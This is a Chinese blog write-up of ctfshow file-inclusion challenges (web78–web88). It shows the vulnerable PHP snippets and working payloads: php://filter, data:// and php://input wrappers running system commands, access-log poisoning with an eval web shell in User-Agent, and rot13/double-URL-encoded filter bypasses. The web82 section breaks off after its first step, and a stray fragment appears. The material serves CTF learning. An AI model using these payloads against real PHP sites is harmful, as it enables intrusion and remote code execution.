ctfshow—文件包含

参考

PHP伪协议总结 - SegmentFault 思否

Session文件包含漏洞_暮秋初九的博客-CSDN博客_session文件包含

​​​​​​​​​​​​​​WEB78 无防护读取源码

<?php
 
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

伪协议读取后base64解密

payload:?file=php://filter/convert.base64-encode/resource=flag.php

web79 data协议

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了php,php到是可以用大写绕过,但是文件名flag.php中的php不能大小写,所以用cat这一类的函数,也可以直接base64绕过php

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');
ils/120361970

查看源代码

web80 input协议

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

php data被过滤

用input协议

继续使用php大小写绕过

GET:
 ?file=phP://input
POST:
<?PHP system('tac fl*');?>

 

web81 包含日志

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
}

多过滤了一个:,使用上一关的方法

第一次:User-Agent: <?php eval($_POST['1']); ?>

第二次:?file=/var/log/nginx/access.log

第三步: 1=system('tac f*');

WEB82-session文件包含

<?php
 
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

1、先构造一个上传文件的页面,对环境上传一个任意的文件,内容也任意,然后抓包。

web87 rot13

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
    
}else{
    highlight_file(__FILE__);
} 

文件写入,这里可以通过base64或者rot13来绕过,因为题目中存在urldecode,所以需要两个url编码



php://filter/write=string.rot13/resource=1.php 两次url编码
get:?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

post:content=<?cuc flfgrz('gnp s*');?>

<?php system('tac f*');?
使用rot13编码后为
<?cuc flfgrz('gnp s*');?>

直接访问1.php

web88

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 

没有过滤://,那就直接cat flag

//<?php system('tac f*');?>加密后

payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg

 

 
posted @ 2022-07-31 02:14  heartBroken  阅读(213)  评论(0编辑  收藏  举报